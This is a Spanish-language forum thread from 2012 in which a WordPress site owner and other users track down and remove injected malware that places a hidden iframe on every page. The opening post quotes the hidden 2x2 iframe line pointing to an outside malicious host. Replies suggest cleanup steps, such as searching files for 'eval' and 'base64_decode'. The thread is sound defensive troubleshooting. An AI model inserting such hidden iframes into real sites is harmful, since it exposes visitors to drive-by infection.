Cómo eliminar código malicioso que aparece en todas las páginas

Felipe · 10 Oct 2012

Insertar CODE, HTML o PHP:

<iframe src="http://visualagesachievement.org/Cruises?8" align="middle" frameborder="no" height="2" scrolling="auto" width="2"></iframe>

<iframe src="http://visualagesachievement.org/Cruises?8" align="middle" frameborder="no" height="2" scrolling="auto" width="2"></iframe>

<iframe src="http://visualagesachievement.org/Cruises?8" align="middle" frameborder="no" height="2" scrolling="auto" width="2"></iframe>

Gente tengo ese codigo malicioso que se refleja en todas las paginas de mi sitio web y esta dando una alerta al ingresar, el problema es que no logro encontrar donde esta incerto este codigo

Acá les dejo unas capturas, la verdad es que ya estoy arto, no logro dar con el codigo y como ven figura el iframe en todas las paginas, ya cambie el theme, pero sigue.

Ayudenme porfis!! :/

solo · 10 Oct 2012

A mi una vez me paso algo asi y tuve que revisar uno por uno todos los archivos del wordpress, no solo los del tema, el problema lo resolví eliminando el codigo malicioso en todos los archivos "index.php" tanto de wordpress como del tema y de varios plugins.

En tu caso yo reinstalaria wordpress para asi solamente revisar los archivos del tema que vayas a utilizar y eliminando todos los demas temas que tengas instalados.

Espero que te sea de utilidad esta información.

Saludos :encouragement:

jorgejacobo · 10 Oct 2012

Una vez tuve un problema parecido al tuyo, por mas que traté no lo encontré. Lo que terminé haciendo fué reinstalar wordpress e instalar el theme y todo limpio. NO sé por donde se te metió el código, quizá algún plugin, (o theme).

El caso es que puede estar en el código dentro de las carpetas muy escondigo. Algunos programadores aquí han de tener mejores experiecias. Sin embargo yo extraería la base de datos y haría una reinstalación de wordpress.

En el area de negocios puedes hacer un hilo solicitando que alguien te lo limpie, claro, tendrías que pagar :witless:

Felipe · 10 Oct 2012

habia un archivo htaccess que se habia creado en varios directorios... lo elimine y se borro el iframe, pero como se si no va a volver? Gracias [MENTION=2648]solo[/MENTION] por comentar y ayudarme! 🙂

Indignado · 10 Oct 2012

Yo sigo viendo esos codigos en tu sitio en los post estan justo antes de </body>

Cicklow · 10 Oct 2012

[MENTION=293]Felipe[/MENTION] descarga los files a tu pc y usa algun buscador de textos como el fileseek y busca: eval o base64_decode
alguna de esas cadenas en los files. Sino instalate algun plugin que funcione igual ke el fileseek, que buscan cadenas dentro de los files del WP, hace unos dias un user posteo un plugin para eso.

javier29pe · 10 Oct 2012

reinstala wp

Felipe · 10 Oct 2012

javier29pe dijo:
reinstala wp

ya realice eso. Igual encontre parte del codigo en un archivo htaccess repetido en varios directorios, pero [MENTION=11109]Indignado[/MENTION] me dice que sigue estando el codigo, la web es radiocomplices.cl

Cicklow · 10 Oct 2012

Felipe dijo:
ya realice eso. Igual encontre parte del codigo en un archivo htaccess repetido en varios directorios, pero [MENTION=11109]Indignado[/MENTION] me dice que sigue estando el codigo, la web es radiocomplices.cl

Yo no veo el code, pero si la alerta de virus, tendrias que enviar un reconcideracion desde google webmaster para aclarar que ya sacaste el virus.

WordPress › AntiVirus « WordPress Plugins

Indignado · 10 Oct 2012

En apariencia editor selecciona el archivo footer.php y mira al final del todo justo antes de </body></html>

Haber si esta hay el codigo maligno.

Felipe · 10 Oct 2012

Indignado dijo:
En apariencia editor selecciona el archivo footer.php y mira al final del todo justo antes de </body></html>

Haber si esta hay el codigo maligno.

Insertar CODE, HTML o PHP:

<div class="clear"></div>

<div id="footer">
  <div class="left">&copy;
    <?php the_time('Y'); ?>
    &middot; <a href="<?php bloginfo('siteurl'); ?>">
    <?php bloginfo('name'); ?>
    </a> &middot; <span class="rss"><a href="<?php bloginfo('rss2_url'); ?>" title="Subscribe to Posts feed">Posts</a></span> &middot; <span class="rss" title="Subscribe to Comments feed"><a href="<?php bloginfo('comments_rss2_url'); ?>">Comments</a></span> </div>
  <div class="right"> Designed by <a href="http://www.bestwp.net/">Best WordPress Themes</a> &middot; Powered by <a href="http://www.wordpress.org">WordPress</a> </div>
  <div class="clear"></div>
</div>
<!--end: footer-->

</div>
<!--end: wrapper-->
<?php if(get_theme_mod('track') == 'Yes') { ?>
<!--begin: blog tracking-->
<?php echo stripslashes(get_theme_mod('track_code')); ?>
<!--end: blog tracking-->
<?php } else { ?>
<?php } ?>
<?php wp_footer(); ?>
</body></html>

Ese es el codigo del footer, no veo nada extraño.... 🙁

HugoG · 10 Oct 2012

con navegador google y nod 32

Felipe · 10 Oct 2012

HugoG dijo:
Ver el archivo adjunto 8848 con navegador google y nod 32

creo que tendré que tener paciencia... 🙁

Cicklow · 10 Oct 2012

Felipe dijo:

Insertar CODE, HTML o PHP:

<div class="clear"></div>

<div id="footer">
  <div class="left">©
    <?php the_time('Y'); ?>
    · <a rel="nofollow" href="<?php bloginfo('siteurl'); ?>">
    <?php bloginfo('name'); ?>
    </a> · <span class="rss"><a rel="nofollow" href="<?php bloginfo('rss2_url'); ?>" title="Subscribe to Posts feed">Posts</a></span> · <span class="rss" title="Subscribe to Comments feed"><a rel="nofollow" href="<?php bloginfo('comments_rss2_url'); ?>">Comments</a></span> </div>
  <div class="right"> Designed by <a rel="nofollow" href="http://www.bestwp.net/">Best WordPress Themes</a> · Powered by <a rel="nofollow" href="http://www.wordpress.org">WordPress</a> </div>
  <div class="clear"></div>
</div>
<!--end: footer-->

</div>
<!--end: wrapper-->
<?php if(get_theme_mod('track') == 'Yes') { ?>
<!--begin: blog tracking-->
<?php echo stripslashes(get_theme_mod('track_code')); ?>
<!--end: blog tracking-->
<?php } else { ?>
<?php } ?>
<?php wp_footer(); ?>
</body></html>

Ese es el codigo del footer, no veo nada extraño.... 🙁

es ke no es el footer.php es un hook al footer. fijate en functions.php o algun file de esos. sino fijate sino tenes un .htaccess de mas aparte del del /

Usa algun buscador para dentro de los files.

alphaville88 · 10 Oct 2012

Usa la funcion "buscar en archivos" en el software notepad ++ y lo mismo encontrará donde se instaló el codigo :encouragement:

solo · 10 Oct 2012

Imagino que ya eliminaste el codigo malicioso pero debes mandar el aviso, aqui estan las instrucciones:

Pasos siguientes:
Si es el propietario de este sitio web, puede solicitar una revisión de su sitio con las Herramientas para webmasters de Google. Hay más información disponible acerca del proceso de revisión en el Enlace eliminado de Google.

Saludos :encouragement:

Felipe · 10 Oct 2012

Si, hice eso pero veo que aun tengo el codigo en algunos archivos... 🙁 awwww

Indignado · 10 Oct 2012

Aun lo tienes mira en el header lo que tienes.

Insertar CODE, HTML o PHP:

<script type="text/javascript" src="http://www.radiocomplices.cl/wp-content/themes/freshblog/javascripts/dropdown.js"></script>

Eso te esta colocando el iframe en todas las paginas

Felipe · 10 Oct 2012

Que estupido, todo comenzó cuando copie un codigo en mi plantilla para transmitir una radio streaming mediante un reproductor flash, con ese codigo le abrí yo mismo el camino para infectar todos los demas archivos, aw, ahora si!! espero que ahora no haya codigo malicioso!! :/

- - - Actualizado - - -

Indignado dijo:
Aun lo tienes mira en el header lo que tienes.

Insertar CODE, HTML o PHP:

<script type="text/javascript" src="http://www.radiocomplices.cl/wp-content/themes/freshblog/javascripts/dropdown.js"></script>

Eso te esta colocando el iframe en todas las paginas

Así es, reemplace los archivos por los limpios, ademas tuve que reemplazar algunos archivos de wordpress infectados. Gracias, puedes revisar ahora si encuentras el codigo malicioso?

incluso habian algunos plugins infectados... :$

Indignado · 10 Oct 2012

Ya no sale el ifame esta limpio.

Cómo eliminar código malicioso que aparece en todas las páginas

Felipe

solo

jorgejacobo

Felipe

Indignado

Cicklow

javier29pe

Felipe

Cicklow

Indignado

Felipe

HugoG

Felipe

Cicklow

alphaville88

solo

Felipe

Indignado

Felipe

Indignado

Temas similares

Privacidad y transparencia

Privacidad y transparencia